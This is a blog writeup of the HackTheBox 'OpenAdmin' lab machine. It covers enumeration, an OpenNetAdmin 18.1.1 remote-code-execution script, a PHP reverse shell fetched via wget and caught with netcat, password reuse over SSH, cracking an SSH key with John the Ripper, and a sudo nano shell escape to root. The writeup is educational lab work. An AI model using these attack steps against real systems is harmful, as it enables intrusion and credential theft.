HackTheBox - OpenAdmin - Writeup - Uncharted Infosec

HackTheBox - OpenAdmin - Writeup

Posted July 4, 2021 by Mark O'Kane ‐ 14 min read

As part of HackTheBox’s “Take it Easy” challenge for July 2021, I’m working through and writing up each one of the retired Easy boxes that have been made available. In this writeup, I’ll cover my approach at beating OpenAdmin. I’ll be using Kali 2021.2 for this lab.



We start off here with an Nmap scan of the target host.

We’re running an aggressive scan here (-A), with a speed of 4 (-T4), application version guessing (-sV) and outputting to the file nmap.txt for review later (-oN nmap.txt)

└─$ nmap -A -T4 -sV -oN nmap.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-02 08:22 EDT
Nmap scan report for
Host is up (0.015s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf🇩🇪bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.60 seconds

We have 2 services running - http on port 80 and ssh on port 22. We learn that the p80 is running an Apache web server version 2.4.29

A quick check of the apache version in Exploit-DB with Searchsploit doesn’t reveal any useful exploitations.

$ searchsploit apache 2.4

In our browser, we’ll navigate to the http webpage running on port 80.

Apache2 Ubuntu Default Webpage port 80

It’s the default Apache2 Ubuntu webpage. On this occasion, it doesn’t reveal anything useful to help us at this stage of our enumeration.

In order to progress any further, we’ll use Gobuster to enumerate some hidden web directories.


We’ll set Gobuster running in directory mode with a the dirbuster medium wordlist found in /usr/share/wordlists.

└─$ gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2021/07/02 08:27:20 Starting gobuster in directory enumeration mode
/music                (Status: 301) [Size: 312] [-->]
/artwork              (Status: 301) [Size: 314] [-->]
/sierra               (Status: 301) [Size: 313] [-->] 
/server-status        (Status: 403) [Size: 277]                                   
2021/07/02 08:33:35 Finished

We find 3 accessibly web directories called music, artwork and sierra.

Back in our browser, we’ll check out each one of these one by one.

Starting with the first one on the list - music - it looks like we have the makings of a music streaming service.

/music Webpage

Navigating arounf the various menus at the top and items on each page, we find a lot of circular links not leading to anywhere new. None of these pages reveal much useful information either.

The last thing we’ll try is the login button on the top right of the page. If we find a login screen we can potential try to brute force our way in or find an injection vulnerability to exploit.

ONA landing screen

Instead of a login screen, we find something very interesting. Looking at the webpage title on the tab, it appears to have taken us to a system called OpenNetAdmin.

Looking around this screen, it appears to be an IP Address Management system. A google search of OpenNetAdmin confirms this.

In terms of IPAM data we don’t find much stored here, only the DNS domain OpenAdmin.htb which we already know we’re on.

We see a warning stating “You are NOT on the latest version” and a listing of the current version v18.1.1. If the software is out of date, there’s a good chance there might be vulnerabilities and even readily available exploits out there.


We’ll run searchsploit again and see if we’ve got anything from Exploit-DB held locally.

└─$ searchsploit opennetadmin     
----------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                 |  Path
----------------------------------------------------------------------------------------------- ---------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution                                                  | php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit)                                   | php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution                                                    | php/webapps/47691.sh
----------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Just searching for OpenNetAdmin, we find two Remote Code Execution results with the exact version 18.1.1. listed - one for metasploit and one shell script for manual use.


For the purposes of learning, we’ll stick to manual methods in order to exploit this machine. Though metasploit is excellent and can make a lot of tricky exploitation easy, it’s beneficial to understand the underlying techniques too.

We’ll take a copy of the shell script to our working directory and give it a new name.

└─$ cp /usr/share/exploitdb/exploits/php/webapps/47691.sh openadmin.sh   

If we open up the openadmin.sh using our text editor, we learn a bit about the script.

We see it accepts one argument - the url of the target. It then within a while loop prompts the user for commands, exploits the RCE vulnerability and executes the command on the target, then writes the output back to the attackers command line.

Initially trying to run this script, it didn’t like the formatting. After a bit of googling, I decided to try the dos2unix command on the script.

└─$ dos2unix openadmin.sh 
dos2unix: converting file openadmin.sh to Unix format...

Sometimes when a script is created and uploaded from a windows machine, it contains hidden formatting characters that we can’t see but Unix struggles to parse. Once I’d done this and attempted to run the script again, it worked fine:

└─$ ./openadmin.sh                                                             
$ whoami


While we’ve successfully got remote code execution on the target, we now need a stable shell.

As the OpenNetAdmin RCE script drops us in the /ona directory of the webpage, we’ll be able to use pentestmonkey’s php-reverse-shell to get a stable shell. A copy can be found already saved locally in Kali’s /usr/share. Copy this over to your working directory, then open in your text editor of choice

└─$ cp /usr/share/webshells/php/php-reverse-shell.php openadmin.php     

We’ll need to update the php file with our local IP address and a local port that we’re going to run a netcat listener on (4445 in my case).

In order to execute the reverse shell, we first need to get this file onto the target machine. We set up a python http server from our working directory where the php file is currently.

└─$ sudo python3 -m http.server 80                            
[sudo] password for kali: 
Serving HTTP on port 80 ( ... - - [02/Jul/2021 09:56:18] "GET /openadmin.php HTTP/1.1" 200 -

Then from the shell we started earlier, we use wget to grab the file from our attacker webserver.

$ wget

Before we execute the file, we’ll need to set a netcat listener running.

└─$ nc -nvlp 4445                                
listening on [any] 4445 ...

With the file now in the directory of /ona, we simply navigate to the file in our browser at http:///ona/openadmin.php.

If we check back to our netcat listener, we should now have a shell:

connect to [] from (UNKNOWN) [] 49620
Linux openadmin 4.15.0-70-generic #79-Ubuntu SMP Tue Nov 12 10:36:11 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 14:09:18 up  1:52,  1 user,  load average: 0.04, 0.07, 0.08
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
jimmy    pts/0     13:48   60.00s  0.15s  0.15s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off


While we now have a stable shell as www-data, this isn’t enough to get a user flag.

If we check the home directory of the OpenAdmin box, we find two users - Jimmy and Joanna. At present, we’re unable to access either.


In the /opt/ona/www folder we land in, there are a lot of files to check out.

$ ls

Straight away we want to see what are in those config files. Unfortunately, nothing of value there.

There’s a folder called local. If we cd into that folder we find another folder called config.

Checking inside the config folder we find an interesting file called database_settings.inc.php.

$ ls
$ cat database_settings.inc.php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => '************',
        'db_database' => 'ona_default',
        'db_debug' => false,
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',


Inside this database config file we find a password (obfuscated above).

As is common (and bad) practice, we often see alot of cases of password reuse. If a password is used somewhere, there’s a good chance it’s used somewhere else too.


From earlier, we know that SSH is open on port 22. We’ve got 2 users - Jimmy and Joanna - and now one password. We’ll try logging in with this password as both Jimmy and Joanna.

└─$ ssh jimmy@          
jimmy@'s password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)


Last login: Fri Jul  2 14:39:31 2021 from

We try jimmy first and we have success!

I’ve also tried Joanna, however didn’t have the same fortune.

With an SSH session as Jimmy, we’ll check out his home folder now to see if we can find the user flag.

No luck here, it looks like Joanna is the one hiding our user flag. Jimmy doesn’t have the privileges to access her home directory.

More Enumeration

In order to move laterally as from Jimmy to Joanna, we’ll need to do some more enumeration of the box.

After a bit of looking around, we eventually find something interesting in /var/www.

$ ls -la /var/www
total 16
drwxr-xr-x  4 root     root     4096 Nov 22  2019 .
drwxr-xr-x 14 root     root     4096 Nov 21  2019 ..
drwxr-xr-x  6 www-data www-data 4096 Nov 22  2019 html
drwxrwx---  2 jimmy    internal 4096 Nov 23  2019 internal
lrwxrwxrwx  1 www-data www-data   12 Nov 21  2019 ona -> /opt/ona/www

We see a html folder, this contains all of the web pages we saw when we started this box. More interestingly, we find a directory owned by our current user Jimmy.

jimmy@openadmin:/var/www/internal$ ls -la
total 28
drwxrwx--- 2 jimmy internal 4096 Jul  2 14:51 .
drwxr-xr-x 4 root  root     4096 Nov 22  2019 ..
-rwxrwxr-x 1 jimmy internal 3229 Nov 22  2019 index.php
-rwxrwxr-x 1 jimmy internal  185 Nov 23  2019 logout.php
-rwxrwxr-x 1 jimmy internal  339 Nov 23  2019 main.php

We have a few php files in this directory. If we cat these files, we learn some information, particularly in the main.php file.

jimmy@openadmin:/var/www/internal$ cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session

This looks like when the php file is executed, it accesses Joanna’s ssh private key and echo’s the result.

If this webpage is active and running on the server, we can curl main.php and hopefully gain Joanna’s private key to sign in as her.


In order to establish if this “Internal” webserver is running, we can use netstat. We’ll use the flags -a to show all sockets, -n to display ip addresses/not resolve dns names and -t for tcp.

jimmy@openadmin:/var/www/internal$ netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0*               LISTEN     
tcp        0      0*               LISTEN     
tcp        0      0 *               LISTEN     
tcp        0      0    *               LISTEN     
tcp        0      0      ESTABLISHED
tcp        0      0       ESTABLISHED
tcp        0      0      ESTABLISHED
tcp        0      0        ESTABLISHED
tcp        0      0      ESTABLISHED
tcp        0      0      ESTABLISHED
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0       ESTABLISHED
tcp6       0      0      TIME_WAIT  
tcp6       0      0       ESTABLISHED

We see 3 services running internally on this machine. We have DNS on, (likely) MySQL running on its default port 3306 and something running on an unknown high port 52846.

This service on port 52846 could be our internal web server. In order to check it out, we’ll set up port forwarding via ssh.

SSH Tunnelling

Using SSH and Jimmy’s login credentials, we’ll redirect local port 4447 (or whichever port you choose) to the internal webserver via an SSH tunnel.

└─$ ssh -L 4447: jimmy@

If we now navigate to http://localhost:4447 in our browser:

Internal Webpage

We successful reach the internal webpage and see index.php displayed.

Now if we curl http://localhost:4447/main.php we get Joanna’s rsa key returned as expected:

└─$ curl http://localhost:4447/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session

I’ve stripped the actual key above for the purposes of the writeup. There’s also a text clue here, referring to a “ninja” password. This prompted me to try James' password from earlier with the private key, but no luck.

John the Ripper

We’ll copy and paste the RSA Private key into a text file and call it id_rsa.

As it’s encrypted, we’ll need to use John the Ripper to crack it.

Before we can, we’ll need to convert the key into a format that John understands. For this, there’s a python script call ssh2john.py.

└─python /usr/share/john/ssh2john.py id_rsa > joanna.hash

We can now run John against the hash:

└─$ john joanna.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
**********      (id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:05 DONE (2021-07-02 11:39) 0.1992g/s 2856Kp/s 2856Kc/s 2856KC/sa6_123..*7¡Vamos!
Session completed

We successfully crack the key (***********’d out above) and as suggested, it is indeed ninja related.


In order to successfully access Joanna’s account via SSH, we’ll need to generate a new, unlocked RSA key using the private key and the password we’ve recovered from the hash.

Openssl is a handy tool to achieve this:

└─openssl rsa -in id_rsa -out unlocked_rsa                                                      
Enter pass phrase for id_rsa:
writing RSA key

Now if we use this key with SSH, we should be able to log in as Joanna.

└─$ ssh -i unlocked_rsa joanna@
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)


Last login: Fri Jul  2 15:03:47 2021 from

This drops us in Joanna’s home folder where we’ll find the user flag.

Privilege Escalation

Now we’ve got user, it’s onto finding the root flag. In order to elevate to root, there’s normally to things that are key to look for -

  1. Current user’s sudo privileges
  2. Files that can be run with root privileges

First thing we try is sudo -l

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass,

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

This looks good, joanna can execute the nano text editor in /bin/nano as root to edit a file called /opt/priv/.

If we have a look at /opt/priv, it seems to be an empty text file.

A good resource for privesc and how it can be acheived with various binaries is gtfobins.

If we checkout gtfobins for nano, it looks like we can spawn a shell from nano using the following:

reset; sh 1>&0 2>&0

If we spawn a shell from nano as sudo, the shell we spawn will be root.

If we try it out:

Nano PrivEsc

We have root!

As always, the root flag can easily be found in the /root directory. If we wanted to spawn a more stable shell from here and establish persistence, we could.


For an “Easy” box, I would still consider this one a challenge. It certainly took a lot of time manually, with most of the work going into lateral movement to acheive control of the Joanna user. Once Joanna was compromised, root was very quick and easy. This probably could have been managed much sooner using some automated scripts, such as LinPEAS.sh to enumerate the box for interesting files and passwords, however it was well worth the time exploring manually. I’m confident there will have been a few different and interesting ways to have acheived User, this was just the journey I found.

As always, thanks for reading!